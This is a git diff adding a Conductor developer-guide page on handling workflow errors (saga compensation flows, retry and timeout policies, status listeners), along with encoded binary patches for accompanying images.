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 literal 0 HcmV?d00001 diff --git a/docs/devguide/how-tos/Workflows/handling-errors.md b/docs/devguide/how-tos/Workflows/handling-errors.md new file mode 100644 index 0000000..227b114 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/handling-errors.md @@ -0,0 +1,357 @@ +--- +description: "Handle workflow errors in Conductor using the saga pattern with compensation flows, retry strategies, task-level error handling, timeout policies, and workflow status listener notifications." +--- + +# Handling Workflow Errors + +In production microservice architectures, failures are inevitable. Conductor provides multiple layers of error handling so you can build resilient, self-healing workflows: + +* **Saga pattern** — run a compensation flow to undo completed steps when a workflow fails. +* **Retry strategies** — automatically retry failed tasks with configurable backoff. +* **Task-level error handling** — mark tasks as optional, fail immediately on terminal errors, or set per-task timeouts. +* **Timeout policies** — control what happens when a task or workflow exceeds its time limit. +* **Workflow status listener** — send notifications to external systems on workflow completion or failure. + +## Saga pattern: compensation on failure + +The saga pattern is a well-established approach for managing distributed transactions across microservices. Instead of a single atomic transaction that spans multiple services, a saga breaks the work into a sequence of local transactions. Each step has a corresponding **compensating action** that undoes its effect. When any step in the sequence fails, the previously completed steps are rolled back in reverse order by executing their compensating actions. + +This pattern is essential in microservice architectures where two-phase commits are impractical. Because each service owns its own data, you cannot rely on a traditional database transaction to maintain consistency across services. The saga pattern gives you eventual consistency with explicit rollback logic, making failures predictable and recoverable. + +### Configuring a failure workflow + +You can configure a workflow to automatically run upon failure by adding the `failureWorkflow` parameter to your main workflow definition. +Additionally, you may also specify the _version_ of it by using the `failureWorkflowVersion` parameter. + +```json +"failureWorkflow": "", +"failureWorkflowVersion": 2, +``` + +If your main workflow fails, Conductor will trigger this failure workflow. By default, the following parameters are passed to the failure workflow as input: + +* **`reason`** — The reason for the workflow's failure. +* **`workflowId`** — The failed workflow's execution ID. +* **`failureStatus`** — The failed workflow's status. +* **`failureTaskId`** — The execution ID for the task that failed in the workflow. +* **`failedWorkflow`** — The full workflow execution JSON for the failed workflow. + +You can use these parameters to implement compensation actions in the failure workflow, such as notification alerts, resource clean-up, or reversing completed transactions. + +### Example: Slack notification on failure + +Here is a failure workflow that sends a Slack message when the main workflow fails. It posts the `reason` and `workflowId` so the team can debug the failure: + +```json +{ + "name": "shipping_failure", + "description": "Notification workflow for shipping workflow failures", + "version": 1, + "tasks": [ + { + "name": "slack_message", + "taskReferenceName": "send_slack_message", + "inputParameters": { + "http_request": { + "headers": { + "Content-type": "application/json" + }, + "uri": "https://hooks.slack.com/services/<_unique_Slack_generated_key_>", + "method": "POST", + "body": { + "text": "workflow: ${workflow.input.workflowId} failed. ${workflow.input.reason}" + }, + "connectionTimeOut": 5000, + "readTimeOut": 5000 + } + }, + "type": "HTTP", + "retryCount": 3 + } + ], + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "conductor@example.com", + "timeoutPolicy": "ALERT_ONLY" +} +``` + +### Example: saga compensation for order processing + +A realistic saga implementation involves a main workflow that processes an order through multiple services and a compensation workflow that reverses each completed step if any step fails. + +**Main workflow** — `order_processing` processes a customer order through three stages: charge the payment, reserve inventory, and arrange shipping. + +```json +{ + "name": "order_processing", + "description": "Process a customer order through payment, inventory, and shipping", + "version": 1, + "failureWorkflow": "order_compensation", + "tasks": [ + { + "name": "charge_payment", + "taskReferenceName": "charge_payment_ref", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "customerId": "${workflow.input.customerId}", + "amount": "${workflow.input.totalAmount}" + }, + "type": "SIMPLE", + "retryCount": 2, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 5 + }, + { + "name": "reserve_inventory", + "taskReferenceName": "reserve_inventory_ref", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "items": "${workflow.input.items}", + "paymentTransactionId": "${charge_payment_ref.output.transactionId}" + }, + "type": "SIMPLE", + "retryCount": 2, + "retryLogic": "FIXED", + "retryDelaySeconds": 3 + }, + { + "name": "arrange_shipping", + "taskReferenceName": "arrange_shipping_ref", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "shippingAddress": "${workflow.input.shippingAddress}", + "items": "${workflow.input.items}", + "inventoryReservationId": "${reserve_inventory_ref.output.reservationId}" + }, + "type": "SIMPLE", + "retryCount": 1, + "retryLogic": "FIXED", + "retryDelaySeconds": 10 + } + ], + "restartable": true, + "workflowStatusListenerEnabled": true, + "ownerEmail": "order-team@example.com", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 600 +} +``` + +**Compensation workflow** — `order_compensation` reverses each completed step in reverse order: cancel the shipment, restore inventory, and refund the payment. + +```json +{ + "name": "order_compensation", + "description": "Undo completed order steps when order_processing fails", + "version": 1, + "tasks": [ + { + "name": "cancel_shipment", + "taskReferenceName": "cancel_shipment_ref", + "inputParameters": { + "orderId": "${workflow.input.failedWorkflow.input.orderId}", + "shipmentId": "${workflow.input.failedWorkflow.tasks[arrange_shipping_ref].output.shipmentId}" + }, + "type": "SIMPLE", + "optional": true, + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 5 + }, + { + "name": "restore_inventory", + "taskReferenceName": "restore_inventory_ref", + "inputParameters": { + "orderId": "${workflow.input.failedWorkflow.input.orderId}", + "reservationId": "${workflow.input.failedWorkflow.tasks[reserve_inventory_ref].output.reservationId}" + }, + "type": "SIMPLE", + "optional": true, + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 5 + }, + { + "name": "refund_payment", + "taskReferenceName": "refund_payment_ref", + "inputParameters": { + "orderId": "${workflow.input.failedWorkflow.input.orderId}", + "transactionId": "${workflow.input.failedWorkflow.tasks[charge_payment_ref].output.transactionId}", + "amount": "${workflow.input.failedWorkflow.input.totalAmount}" + }, + "type": "SIMPLE", + "retryCount": 5, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 10 + } + ], + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "order-team@example.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 1200 +} +``` + +Notice that compensation tasks are marked `optional: true` for steps that may not have completed before the failure occurred. The refund task uses aggressive retries with exponential backoff because it is critical that the customer receives their money back. + +## Retry strategies + +When a task fails, Conductor can automatically retry it according to the retry logic configured on the task definition. You control the retry behavior with three parameters: + +* **`retryCount`** — Maximum number of retry attempts. +* **`retryLogic`** — The backoff strategy between retries. +* **`retryDelaySeconds`** — The base delay between retries, in seconds. + +### FIXED + +Retries at a constant interval. Every retry waits the same amount of time. + +```json +{ + "retryCount": 3, + "retryLogic": "FIXED", + "retryDelaySeconds": 5 +} +``` + +This retries up to 3 times, waiting exactly 5 seconds between each attempt. + +### EXPONENTIAL_BACKOFF + +Each retry waits exponentially longer than the previous one. The delay is calculated as `retryDelaySeconds * 2^(attemptNumber)`. This reduces load on downstream services that may be experiencing pressure. + +```json +{ + "retryCount": 4, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 2 +} +``` + +This retries up to 4 times with delays of approximately 2, 4, 8, and 16 seconds. + +### LINEAR_BACKOFF + +Each retry waits incrementally longer by a fixed amount. The delay is calculated as `retryDelaySeconds * attemptNumber`. This provides a gentler ramp-up than exponential backoff. + +```json +{ + "retryCount": 4, + "retryLogic": "LINEAR_BACKOFF", + "retryDelaySeconds": 5 +} +``` + +This retries up to 4 times with delays of approximately 5, 10, 15, and 20 seconds. + +### Choosing a retry strategy + +| Strategy | Delay pattern | Best for | +|---|---|---| +| `FIXED` | Constant (e.g., 5s, 5s, 5s) | Predictable transient failures like brief network blips or short-lived lock contention. | +| `EXPONENTIAL_BACKOFF` | Doubling (e.g., 2s, 4s, 8s, 16s) | Rate-limited APIs, overloaded services, or any case where you want to reduce pressure on a struggling dependency. | +| `LINEAR_BACKOFF` | Incremental (e.g., 5s, 10s, 15s, 20s) | Moderate recovery scenarios where you need longer waits over time but exponential growth would be too aggressive. | + +## Task-level error handling + +Beyond retries, Conductor provides several task-level controls for managing failures within a running workflow. + +### Optional tasks + +Setting `optional` to `true` on a task tells Conductor to continue the workflow even if that task fails after exhausting all retries. The workflow will proceed to the next task rather than failing entirely. + +```json +{ + "name": "send_analytics_event", + "taskReferenceName": "send_analytics_ref", + "type": "SIMPLE", + "optional": true, + "retryCount": 2, + "retryLogic": "FIXED", + "retryDelaySeconds": 3 +} +``` + +Use optional tasks for non-critical side effects like logging, analytics, or notifications where a failure should not block the primary business logic. + +### Failing immediately with terminal errors + +When a worker encounters an error that no amount of retrying will fix, such as invalid input data or a business rule violation, it should return a `FAILED_WITH_TERMINAL_ERROR` status. This tells Conductor to skip all remaining retries and fail the task immediately. + +Workers signal this by setting the task status to `FAILED_WITH_TERMINAL_ERROR` in the task result. This avoids wasting time on retries when the failure is deterministic. For example, if a payment is declined due to insufficient funds, retrying the same charge will never succeed. + +### Per-task timeout configuration + +You can set timeouts on individual tasks to prevent them from blocking the workflow indefinitely: + +```json +{ + "name": "call_external_api", + "taskReferenceName": "call_api_ref", + "type": "SIMPLE", + "timeoutSeconds": 120, + "responseTimeoutSeconds": 60, + "timeoutPolicy": "RETRY" +} +``` + +* **`timeoutSeconds`** — Maximum total time for the task, including all retries. +* **`responseTimeoutSeconds`** — Maximum time to wait for a worker to pick up and respond to the task. If a worker does not update the task within this window, Conductor marks it as timed out. + +## Timeout policies + +Timeout policies determine what Conductor does when a task exceeds its `timeoutSeconds` or `responseTimeoutSeconds` limit. + +### RETRY + +Re-queue the task for another attempt. The retry counts against the task's `retryCount`. + +```json +{ + "timeoutPolicy": "RETRY", + "timeoutSeconds": 60, + "retryCount": 3 +} +``` + +### TIME_OUT_WF + +Fail the entire workflow immediately when the task times out. Use this for tasks where a timeout indicates a critical problem that makes continuing the workflow pointless. + +```json +{ + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 300 +} +``` + +### ALERT_ONLY + +Log an alert but allow the task to continue running. The task is not terminated or retried. This is useful for long-running tasks where you want visibility into slow execution without interrupting work. + +```json +{ + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 600 +} +``` + +### Choosing a timeout policy + +| Policy | Behavior on timeout | Best for | +|---|---|---| +| `RETRY` | Retries the task (counts against `retryCount`) | Tasks that may hang due to transient issues like network timeouts or unresponsive workers. | +| `TIME_OUT_WF` | Fails the entire workflow | Critical tasks where a timeout means the workflow cannot produce a valid result. | +| `ALERT_ONLY` | Logs an alert, task keeps running | Long-running or best-effort tasks where you want monitoring without enforcement. | + +## Implement a Workflow Status Listener + +Using a Workflow Status Listener, you can send a notification to an external system or an event to Conductor's internal queue upon failure. Here is the high-level overview for using a Workflow Status Listener: + +1. Set the `workflowStatusListenerEnabled` parameter to true in your main workflow definition: + ```json + "workflowStatusListenerEnabled": true, + ``` +2. Implement the [WorkflowStatusListener interface](https://github.com/conductor-oss/conductor/blob/1be02a711dc20682718c6111c09d2b02ce7edde2/core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java#L20) to plug into a custom notification or eventing system upon workflow failure. diff --git a/docs/devguide/how-tos/Workflows/restarting-workflows-at-runtime.jpg b/docs/devguide/how-tos/Workflows/restarting-workflows-at-runtime.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b7e2a3a8960cfadc22f94a5071a737a5e1cb9ef0 GIT binary patch literal 308862 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 